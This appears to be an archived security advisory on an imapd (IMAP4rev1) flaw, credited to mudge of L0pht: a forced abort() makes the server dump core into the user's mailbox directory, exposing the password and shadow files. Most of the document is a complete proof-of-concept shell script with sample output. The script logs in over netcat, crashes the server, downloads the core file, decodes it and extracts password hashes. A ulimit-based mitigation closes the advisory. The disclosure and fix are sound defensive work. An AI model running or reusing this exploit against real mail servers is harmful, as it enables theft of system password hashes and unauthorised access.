COMMAND

    imapd

SYSTEMS AFFECTED

    Systems running IMAP4rev1 imapd server

PROBLEM

    Following info is based on  L0pht Security Advisory.  Credit  goes
    to mudge@l0pht.com.  It is  possible to crash the imapd  server in
    several possible  places.   Due to  the lack  of handling  for the
    SIGABRT signal  and the  nature of  the IMAP  protocol in  storing
    folders locally  on the  server; a  core dump  is produced  in the
    users current directory. This core dump contains the password  and
    shadow password files from the system.

    Example:

    ./imap_core.sh
    usage: imap_core.sh target username password

    ./imap_core.sh target jdoe letmein

    imap_core.sh -
      this is a quick proof of concept tool that causes some imapd
      implementations to dump core. Unfortunately the core file
      contains the password and shadow password file in it!
		.mudge [mudge@l0pht.com]

    [Starting]
    Built base64 decoder...

    Running imap attack...

    Forced server to  dump core. Reconnecting  to grab file  and clean
    up!  Stripping trailing  c/r from RFC822 base64  encapsulated core
    file Removing imap crap from beginning and end of core.24487

    Converting base64 image to binary core file...
    core.24487:     ELF 32-bit MSB core file SPARC Version 1, from 'imapd'
    Successfully grabbed some form of password file for target.com
      results located in ./etc_passwd.target.com
    Successfully grabbed some form of shadow file for target.com
      results located in ./etc_shadow.target.foo.bar
      [note: some manual cleanup of ./etc_shadow.target.com is probably required]
    [Finished]

    In several situations it is possible to make the imapd server call
    the function fatal() which is as follows in osdep/unix/ftl_unix.c:

    /* Report a fatal error
     * Accepts: string to output
     */

     void fatal (char *string)
     {
       mm_fatal (string);            /* pass up the string */
       syslog (LOG_ALERT,"IMAP toolkit crash: %.100s",string);
       abort ();                     /* die horribly */
     }

    If  SIGABRT  is  caught  and  the  signal handler does not return,
    things would be okay.  However, SIGABRT is not caught or  ignored.
    Since part  of the  beauty of  the IMAP  protocol is  that you can
    maintain  your  mailboxes  on  the  server, your directory must be
    writable by at  least yourself. What  happens when SIGABRT  is not
    caught, not ignored, and  the current direcorty is  writable? core
    dump.  Here are just a few of the areas where fatal() is called:

    c-client/mail.c:  if (stream->lock) fatal ("Lock when already locked");
    c-client/mail.c:  if (!stream->lock) fatal ("Unlock when not locked");
    imapd/imapd.c:  if (quell_events) fatal ("Impossible EXPUNGE event");
    osdep/unix/fs_unix.c:  if (!block) fatal ("Out of free storage");
    osdep/unix/fs_unix.c:    fatal ("Can't resize free storage");
    osdep/unix/env_unix.c:  if (myUserName) fatal ("env_init called twice!");
    osdep/unix/dummy.c:  fatal ("Impossible dummy_copy");

    You can use the following script to test if you are vulnerable  or
    to check that  your fix worked  (see below). [note:  you will need
    netcat for the script, netcat available from  http://www.avian.org
    and other fine fast food establishments]  Exploit code follows:

    #!/bin/sh
    # mudge@l0pht.com
    #
    # A  quick  little  tool  that  shows  the dangers of  priveledged
    # programs dumping core.
    #
    # Shout outs to a bunch of people - in particular Nettwerk.
    # Hey Nettwerk where'd ya go?
    # Programs
    NC=/usr/local/bin/nc
    CAT=/bin/cat
    RM=/bin/rm
    GREP=/bin/grep
    TAIL=/bin/tail
    HEAD=/bin/head
    MV=/bin/mv
    TR=/bin/tr
    STRINGS=/bin/strings
    FILE=/bin/file
    CC=/usr/local/bin/gcc

    # temporary command and storage files
    CMDS1=nc_commands1
    CMDS2=nc_commands2
    DECODE64_SRC=b64.c
    TMPNAM=vunlklyname
    TMPFILE=tmp.$$

    # compiled BASE64 decoding program
    DECODE64=./b64

    # core file - sometimes base64 sometimes actuall dump file
    CORE=core.$$

    if [ $# != 3 ] ; then
      echo "usage: `basename $0` target username password"
      exit
    fi

    echo
    echo "[L0pht Heavy Industries - l0pht.com]"
    echo "`basename $0` - "
    echo "  this is a quick proof of concept tool that causes some imapd"
    echo "  implementations to dump core. Unfortunately the core file  "
    echo "  contains the password and shadow password file in it!"
    echo "         .mudge [mudge@l0pht.com]"
    echo

    # command line supplied variables
    TARGET=$1
    USER=$2
    PASS=$3

    # resultant password and shadow files
    PASSWD=./etc_passwd_$TARGET
    SHADOW=./etc_shadow_$TARGET

    # the following logs in in plaintext as opposed through X AUTHENTICATE -
    # you have been forwarned...
    #   login with $user $pass
    #   create a folder that probably isn't there
    #   select the folder
    #   copy the file to another name
    #     the above will cause IMAP4rev1 to crash via calling dummy_copy
    #     note: there are many other ways to get this thing to crash.
    cat > $CMDS1 << FOEFOE

    1 LOGIN $USER $PASS
    2 CREATE $TMPNAM
    3 SELECT $TMPNAM
    4 COPY $TMPNAM $TMPNAM.$$

    FOEFOE

    # login with $user $pass (again in plaintext...)
    # select the core file
    # retrieve the core file base64 encoded as per RFC822
    # delete the core file
    # delete the temporary file we created
    # bye bye
    cat > $CMDS2 << FOEFOE

    1 LOGIN $USER $PASS
    2 SELECT core
    3 UID FETCH 1 (UID RFC822.SIZE RFC822)
    4 DELETE core
    5 DELETE $TMPNAM
    4 LOGOUT

    FOEFOE

    # The following quick little program to decode base64 was yanked in
    # big chunks from Dave Winer's code sitting on
    #     http://www.scripting.com/midas/base64/source.html
    # hey, credit where it's due - Dave saved me some time here.
    # modest changes by: mudge@l0pht.com

    cat > $DECODE64_SRC << FOEFOE

    #include <stdio.h>

    #define TRUE 1
    #define FALSE 0

    void decodefile(FILE *, FILE *);

    int main(int argc, char *argv[]){
      FILE *fin, *fout;

      if (argc > 3){
	printf("Usage: %s <infile> <outfile>\n", argv[0]);
	exit(1);
      }

      switch(argc){
	case 3:
	  fin = fopen(argv[1], "r");
	  fout = fopen(argv[2], "w");
	  if (!fin || !fout) {
	    perror("fopen");
	    exit(1);
	  }
	  break;
	case 2:
	  fin = fopen(argv[1], "r");
	  fout = stdout;
	  if (!fin) {
	    perror("fopen");
	    exit(1);
	  }
	  break;
	case 1:
	  fin = stdin;
	  fout = stdout;
	  break;
      }

      decodefile(fin, fout);
      close(fin);
      close(fout);
      exit(0);
    }

    void decodefile(FILE *fin, FILE *fout) {

      short charctr;
      int breakout;
      unsigned char ch;
      unsigned char inbuf[3], outbuf[4];
      short bufctr = 0, ignore, eot = 0;

      while ((ch = fgetc(fin))) {
	if (feof(fin)){
	  close(fin);
	  break;
	}

	ignore = FALSE;

	if ((ch >= 'A') && (ch <= 'Z'))
	  ch = ch - 'A';
	else if ((ch >= 'a') && (ch <= 'z'))
	  ch = ch - 'a' + 26;
	else if ((ch >= '0') && (ch <= '9'))
	  ch = ch - '0' + 52;
	else if (ch == '+')
	  ch = 62;
	else if (ch == '=')
	  eot = TRUE;
	else if (ch == '/')
	  ch = 63;
	else
	  ignore = TRUE;

	if (!ignore) {
	  charctr = 3;
	  breakout = FALSE;

	  if (eot) {
	    if (bufctr == 0)
	      break;

	    if ((bufctr == 1) || (bufctr == 2))
	      charctr = 1;
	    else
	      charctr = 2;

	    bufctr = 3;
	    breakout = TRUE;
	  }

	  inbuf[bufctr++] = ch;

	  if (bufctr == 4) {
	    bufctr = 0;

	    outbuf[0] = (inbuf[0] << 2) | ((inbuf[1] & 0x30) >> 4);
	    outbuf[1] = ((inbuf[1] & 0x0F) << 4) | ((inbuf[2] & 0x3C) >> 2);
	    outbuf[2] = ((inbuf[2] & 0x03) << 6) | (inbuf[3] & 0x3F);

	    fprintf(fout, "%c%c%c", outbuf[0], outbuf[1], outbuf[2]);
	  }

	  if (breakout)
	    break;
	}
      }

    }

    FOEFOE

    $CC -o $DECODE64 $DECODE64_SRC
    if [ ! -x $DECODE64 ] ; then
      echo "failed to compile base 64 decoding utility"
      echo "stop"
      $RM -f $DECODE64_SRC $DECODE64
      exit
    fi

    echo "[Starting]"
    echo "Built base64 decoder..."
    echo
    echo "Running imap attack..."

    $CAT $CMDS1 | $NC -w 10 $TARGET 143 > $TMPFILE

    grep -i "server crashing" $TMPFILE > /dev/null

    if [ $? -eq 0 ] ; then
      echo
      echo "Forced server to dump core. Reconnecting to grab file and clean up!"
      $CAT $CMDS2 | $NC -w 10 $TARGET 143 > $CORE
      $RM -f $CMDS1 $CMDS2 $TMPFILE
      echo "Stripping trailing c/r from RFC822 base64 encapsulated core file"
      # interesting... I must've missed the section of rfc 1521 that stated
      # they'd make this DOS'ish
      $TR -d '\015' < $CORE > $CORE.2 # strip off ^M's from file
      $MV -f $CORE.2 $CORE
    else
      echo "Failed to crash server... cleaning up"
      $RM -f $CMDS1 $CMDS2 $TMPFILE $DECODE64 $DECODE64_SRC
      exit
    fi

    echo "Removing imap crap from beginning and end of $CORE"
    VAR=`grep -n "^$" $CORE | awk -F: '{print $1}'`
    VAR=`expr $VAR + 1`
    $TAIL +$VAR $CORE > $TMPFILE
    VAR=`grep -n "=" $TMPFILE | awk -F: '{print $1}'`
    $HEAD -$VAR $TMPFILE > $CORE
    $RM $TMPFILE

    echo
    echo "Converting base64 image to binary core file..."
    $DECODE64 $CORE $TMPFILE
    $MV $TMPFILE $CORE
    $FILE $CORE

    $STRINGS - $CORE | $GREP ':x:' > $PASSWD
    $STRINGS -n 13 - $CORE | $GREP ':' | $GREP -v ' ' | $GREP -v ':x:' > $SHADOW

    if [ -s $PASSWD ] ; then
      echo
      echo "Successfully grabbed some form of password file for $TARGET"
      echo "  results located in $PASSWD"
    else
      echo "failed to create $PASSWD"
      $RM -f $PASSWD
    fi

    if [ -s $SHADOW ] ; then
      echo "Successfully grabbed some form of shadow file for $TARGET"
      echo "  results located in $SHADOW"
      echo "  [note: some manual cleanup of $SHADOW is probably required]"
      echo
    else
      echo "failed to create $SHADOW"
      echo
      $RM -f $SHADOW
    fi

    $RM -f $DECODE64 $DECODE64_SRC
    $MV -f $CORE core_${TARGET}
    echo "[Finished]"

SOLUTION

    There are several places where  imapd can be forced to  abort(3C).
    There are also  several ways to  prevent each area.  As opposed to
    forcing our preferred way of  fixing the code and thus  precluding
    potentially more ellegant patches  we choose to suggest  a blanket
    solution. This should allow the  author of the application to  fix
    these problems as  he sees fit  while alerting everyone  (good and
    bad) of the problem and a stop-gap fix in the mean time.

    This said, it is recommended that core dumps not be permitted from
    any application running out of inetd.  If  you  need to test these
    things do so  in a controlled  environment. No production  machine
    should be  allowed to  crap all  over the  place. "But wait!", You
    say, "what if we think the application is robust and then  realize
    there is a  problem later on.  We need that  core file". Face  it,
    there are  very few  people out  there that  know what  to do with
    core files other than  rm(1) them.  However,  if this is the  case
    then you  saved yourself  some heartache.   Now that  you know the
    application is not ready for prime time you can pull it back  into
    a controlled environment and attempt to make it dump core again.

    For Solaris you can set the core dump size via the bourne  shell's
    built-in ulimit command.

    /etc/init.d/inetsvc should contain the  line ulimit -c 0  directly
    above the line starting off inetd.

	---excerpt snip---
	ulimit -c 0
	/usr/sbin/inetd -s
	--- excerpt snip---

    Don't forget to kill inetd and re-run the inetsvc script.

    Other  OS's  should  check  if  their  bourne shell has a built in
    ulimit  and  if  not,  follow  whatever  methods are used on their
    particular system to prevent core dumps or limit their size to 0.

    It should be noted  that this only works  on systems that allow  a
    process that has  changed UIDs since  the last exec  to core dump.
    Some, such  as FreeBSD  (and OpenBSD  I would  guess, and  a dozen
    others), don't for  exactly this reason.   The same thing  came up
    with ftpd a while back.  This was also changed on Solaris 2.6  and
    may be patched for some older releases.